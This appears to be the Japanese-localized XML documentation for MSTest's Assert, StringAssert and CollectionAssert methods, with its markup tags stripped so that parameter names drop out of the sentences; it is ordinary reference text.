必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - Thrown if is equal to . - - - - - 指定した浮動小数どうしが等しくないかどうかをテストして、 - 等しい場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで次と一致しないと予期される - 浮動小数です 。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した浮動小数どうしが等しくないかどうかをテストして、 - 等しい場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで次と一致しないと予期される - 浮動小数です 。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した倍精度浮動小数点数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の倍精度浮動小数点型。これはテストで予期される倍精度浮動小数点型です。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - Thrown if is not equal to - . - - - - - 指定した倍精度浮動小数点数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の倍精度浮動小数点型。これはテストで予期される倍精度浮動小数点型です。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is not equal to . - - - - - 指定した倍精度浮動小数点数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の倍精度浮動小数点型。これはテストで予期される倍精度浮動小数点型です。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - 比較する最初の倍精度浮動小数点型。これはテストで次と一致しないと予期される - 倍精度浮動小数点型です 。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - 比較する最初の倍精度浮動小数点型。これはテストで次と一致しないと予期される - 倍精度浮動小数点型です 。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - 比較する最初の倍精度浮動小数点型。これはテストで次と一致しないと予期される - 倍精度浮動小数点型です 。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しくないかどうかをテストして、 - 等しい場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして、 - 等しい場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして、 - 等しい場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして - 等しい場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして - 等しい場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして - 等しい場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトが予期した型のインスタンスであるかどうかをテストして、 - 予期した型がオブジェクトの継承階層にない場合は - 例外をスローします。 - - - テストで特定の型であると予期されるオブジェクト。 - - - 次の予期される型 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが予期した型のインスタンスであるかどうかをテストして、 - 予期した型がオブジェクトの継承階層にない場合は - 例外をスローします。 - - - テストで特定の型であると予期されるオブジェクト。 - - - 次の予期される型 。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが予期した型のインスタンスであるかどうかをテストして、 - 予期した型がオブジェクトの継承階層にない場合は - 例外をスローします。 - - - テストで特定の型であると予期されるオブジェクト。 - - - 次の予期される型 。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが間違った型のインスタンスでないかどうかをテストして、 - 指定した型がオブジェクトの継承階層にある場合は - 例外をスローします。 - - - テストで特定の型でないと予期されるオブジェクト。 - - - 次である型 必要のない。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが間違った型のインスタンスでないかどうかをテストして、 - 指定した型がオブジェクトの継承階層にある場合は - 例外をスローします。 - - - テストで特定の型でないと予期されるオブジェクト。 - - - 次である型 必要のない。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスである場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが間違った型のインスタンスでないかどうかをテストして、 - 指定した型がオブジェクトの継承階層にある場合は - 例外をスローします。 - - - テストで特定の型でないと予期されるオブジェクト。 - - - 次である型 必要のない。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスである場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - AssertFailedException をスローします。 - - - Always thrown. - - - - - AssertFailedException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - Always thrown. - - - - - AssertFailedException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Always thrown. - - - - - AssertInconclusiveException をスローします。 - - - Always thrown. - - - - - AssertInconclusiveException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - Always thrown. - - - - - AssertInconclusiveException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Always thrown. - - - - - 静的な Equals オーバーロードは、2 つの型のインスタンスを比較して参照の等価性を調べる - ために使用されます。2 つのインスタンスを比較して等価性を調べるためにこのメソッドを使用 - することはできません。このオブジェクトは常に Assert.Fail を使用してスロー - します。単体テストでは、Assert.AreEqual および関連するオーバーロードをご使用ください。 - - オブジェクト A - オブジェクト B - 常に false。 - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - その (デリゲートを実行中)。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に AssertFailedException をスローするかどうかをテストします。 - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - 次の場合に、例外に含まれるメッセージ - 以下の型の例外をスローしない場合。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - その (デリゲートを実行中)。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に AssertFailedException をスローするかどうかをテストします。 - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - 次の場合に、例外に含まれるメッセージ - 以下の型の例外をスローしない場合。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - その (デリゲートを実行中)。 - - - - - null 文字 ('\0') を "\\0" に置き換えます。 - - - 検索する文字列。 - - - "\\0" で置き換えられた null 文字を含む変換された文字列。 - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - AssertionFailedException を作成して、スローするヘルパー関数 - - - 例外をスローするアサーションの名前 - - - アサーション エラーの条件を記述するメッセージ - - - パラメーター。 - - - - - 有効な条件であるかパラメーターを確認します - - - パラメーター。 - - - アサーション名。 - - - パラメーター名 - - - 無効なパラメーター例外のメッセージ - - - パラメーター。 - - - - - 安全にオブジェクトを文字列に変換し、null 値と null 文字を処理します。 - null 値は "(null)" に変換されます。null 文字は "\\0" に変換されます。 - - - 文字列に変換するオブジェクト。 - - - 変換された文字列。 - - - - - 文字列のアサート。 - - - - - CollectionAssert 機能の単一インスタンスを取得します。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 指定した文字列に指定したサブ文字列が含まれているかどうかをテストして、 - テスト文字列内にサブ文字列が含まれていない場合は例外を - スローします。 - - - 次を含むと予期される文字列 。 - - - 次の内部で発生することが予期される文字列 。 - - - Thrown if is not found in - . - - - - - 指定した文字列に指定したサブ文字列が含まれているかどうかをテストして、 - テスト文字列内にサブ文字列が含まれていない場合は例外を - スローします。 - - - 次を含むと予期される文字列 。 - - - 次の内部で発生することが予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not found in - . - - - - - 指定した文字列に指定したサブ文字列が含まれているかどうかをテストして、 - テスト文字列内にサブ文字列が含まれていない場合は例外を - スローします。 - - - 次を含むと予期される文字列 。 - - - 次の内部で発生することが予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not found in - . - - - - - 指定した文字列の先頭が指定したサブ文字列であるかどうかをテストして - テスト文字列の先頭がサブ文字列でない場合は - 例外をスローします。 - - - 先頭が次であると予期される文字列 。 - - - 次のプレフィックスであると予期される文字列 。 - - - Thrown if does not begin with - . - - - - - 指定した文字列の先頭が指定したサブ文字列であるかどうかをテストして - テスト文字列の先頭がサブ文字列でない場合は - 例外をスローします。 - - - 先頭が次であると予期される文字列 。 - - - 次のプレフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 先頭が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not begin with - . - - - - - 指定した文字列の先頭が指定したサブ文字列であるかどうかをテストして - テスト文字列の先頭がサブ文字列でない場合は - 例外をスローします。 - - - 先頭が次であると予期される文字列 。 - - - 次のプレフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 先頭が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not begin with - . - - - - - 指定した文字列の末尾が指定したサブ文字列であるかどうかをテストして、 - テスト文字列の末尾がサブ文字列でない場合は - 例外をスローします。 - - - 末尾が次であることが予期される文字列 。 - - - 次のサフィックスであると予期される文字列 。 - - - Thrown if does not end with - . - - - - - 指定した文字列の末尾が指定したサブ文字列であるかどうかをテストして、 - テスト文字列の末尾がサブ文字列でない場合は - 例外をスローします。 - - - 末尾が次であることが予期される文字列 。 - - - 次のサフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 末尾が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not end with - . - - - - - 指定した文字列の末尾が指定したサブ文字列であるかどうかをテストして、 - テスト文字列の末尾がサブ文字列でない場合は - 例外をスローします。 - - - 末尾が次であることが予期される文字列 。 - - - 次のサフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 末尾が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not end with - . - - - - - 指定した文字列が正規表現と一致するかどうかをテストして、 - 文字列が表現と一致しない場合は例外をスローします。 - - - 次と一致すると予期される文字列 。 - - - 次である正規表現 is - 一致することが予期される。 - - - Thrown if does not match - . - - - - - 指定した文字列が正規表現と一致するかどうかをテストして、 - 文字列が表現と一致しない場合は例外をスローします。 - - - 次と一致すると予期される文字列 。 - - - 次である正規表現 is - 一致することが予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致しない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not match - . - - - - - 指定した文字列が正規表現と一致するかどうかをテストして、 - 文字列が表現と一致しない場合は例外をスローします。 - - - 次と一致すると予期される文字列 。 - - - 次である正規表現 is - 一致することが予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致しない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not match - . - - - - - 指定した文字列が正規表現と一致しないかどうかをテストして、 - 文字列が表現と一致する場合は例外をスローします。 - - - 次と一致しないと予期される文字列 。 - - - 次である正規表現 is - 一致しないと予期される。 - - - Thrown if matches . - - - - - 指定した文字列が正規表現と一致しないかどうかをテストして、 - 文字列が表現と一致する場合は例外をスローします。 - - - 次と一致しないと予期される文字列 。 - - - 次である正規表現 is - 一致しないと予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致する場合 。メッセージはテスト結果に - 表示されます。 - - - Thrown if matches . - - - - - 指定した文字列が正規表現と一致しないかどうかをテストして、 - 文字列が表現と一致する場合は例外をスローします。 - - - 次と一致しないと予期される文字列 。 - - - 次である正規表現 is - 一致しないと予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致する場合 。メッセージはテスト結果に - 表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if matches . - - - - - 単体テスト内のコレクションと関連付けられている - さまざまな条件をテストするヘルパー クラスのコレクション。テスト対象の条件を満たしていない場合は、 - 例外がスローされます。 - - - - - CollectionAssert 機能の単一インスタンスを取得します。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 指定したコレクションに指定した要素が含まれているかどうかをテストして、 - 要素がコレクションにない場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内にあると予期される要素。 - - - Thrown if is not found in - . - - - - - 指定したコレクションに指定した要素が含まれているかどうかをテストして、 - 要素がコレクションにない場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内にあると予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not found in - . - - - - - 指定したコレクションに指定した要素が含まれているかどうかをテストして、 - 要素がコレクションにない場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内にあると予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not found in - . - - - - - 指定したコレクションに指定した要素が含まれていないかどうかをテストして、 - 要素がコレクション内にある場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内に存在しないことが予期される要素。 - - - Thrown if is found in - . - - - - - 指定したコレクションに指定した要素が含まれていないかどうかをテストして、 - 要素がコレクション内にある場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内に存在しないことが予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - が次にある場合 。メッセージはテスト結果に - 表示されます。 - - - Thrown if is found in - . - - - - - 指定したコレクションに指定した要素が含まれていないかどうかをテストして、 - 要素がコレクション内にある場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内に存在しないことが予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - が次にある場合 。メッセージはテスト結果に - 表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is found in - . - - - - - 指定したコレクション内のすべてのアイテムが null 以外であるかどうかをテストして、 - いずれかの要素が null である場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - Thrown if a null element is found in . - - - - - 指定したコレクション内のすべてのアイテムが null 以外であるかどうかをテストして、 - いずれかの要素が null である場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - null 要素を含む場合。メッセージはテスト結果に表示されます。 - - - Thrown if a null element is found in . - - - - - 指定したコレクション内のすべてのアイテムが null 以外であるかどうかをテストして、 - いずれかの要素が null である場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - null 要素を含む場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if a null element is found in . - - - - - 指定したコレクション内のすべてのアイテムが一意であるかどうかをテストして、 - コレクション内のいずれかの 2 つの要素が等しい場合はスローします。 - - - 重複する要素を検索するコレクション。 - - - Thrown if a two or more equal elements are found in - . - - - - - 指定したコレクション内のすべてのアイテムが一意であるかどうかをテストして、 - コレクション内のいずれかの 2 つの要素が等しい場合はスローします。 - - - 重複する要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - 少なくとも 1 つの重複する要素が含まれています。メッセージは - テスト結果に表示されます。 - - - Thrown if a two or more equal elements are found in - . - - - - - 指定したコレクション内のすべてのアイテムが一意であるかどうかをテストして、 - コレクション内のいずれかの 2 つの要素が等しい場合はスローします。 - - - 重複する要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - 少なくとも 1 つの重複する要素が含まれています。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if a two or more equal elements are found in - . - - - - - コレクションが別のコレクションのサブセットであるかどうかをテストして、 - スーパーセットにない要素がサブセットに入っている場合は - 例外をスローします。 - - - 次のサブセットであると予期されるコレクション 。 - - - 次のスーパーセットであると予期されるコレクション - - - Thrown if an element in is not found in - . - - - - - コレクションが別のコレクションのサブセットであるかどうかをテストして、 - スーパーセットにない要素がサブセットに入っている場合は - 例外をスローします。 - - - 次のサブセットであると予期されるコレクション 。 - - - 次のスーパーセットであると予期されるコレクション - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次に見つからない場合 . - メッセージはテスト結果に表示されます。 - - - Thrown if an element in is not found in - . - - - - - コレクションが別のコレクションのサブセットであるかどうかをテストして、 - スーパーセットにない要素がサブセットに入っている場合は - 例外をスローします。 - - - 次のサブセットであると予期されるコレクション 。 - - - 次のスーパーセットであると予期されるコレクション - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次に見つからない場合 . - メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if an element in is not found in - . - - - - - コレクションが別のコレクションのサブセットでないかどうかをテストして、 - サブセット内のすべての要素がスーパーセットにもある場合は - 例外をスローします。 - - - のサブセットではないと予期されるコレクション 。 - - - 次のスーパーセットであるとは予期されないコレクション - - - Thrown if every element in is also found in - . - - - - - コレクションが別のコレクションのサブセットでないかどうかをテストして、 - サブセット内のすべての要素がスーパーセットにもある場合は - 例外をスローします。 - - - のサブセットではないと予期されるコレクション 。 - - - 次のスーパーセットであるとは予期されないコレクション - - - 次にあるすべての要素が次である場合に、例外に含まれるメッセージ - 次にもある場合 . - メッセージはテスト結果に表示されます。 - - - Thrown if every element in is also found in - . - - - - - コレクションが別のコレクションのサブセットでないかどうかをテストして、 - サブセット内のすべての要素がスーパーセットにもある場合は - 例外をスローします。 - - - のサブセットではないと予期されるコレクション 。 - - - 次のスーパーセットであるとは予期されないコレクション - - - 次にあるすべての要素が次である場合に、例外に含まれるメッセージ - 次にもある場合 . - メッセージはテスト結果に表示されます。 - - - 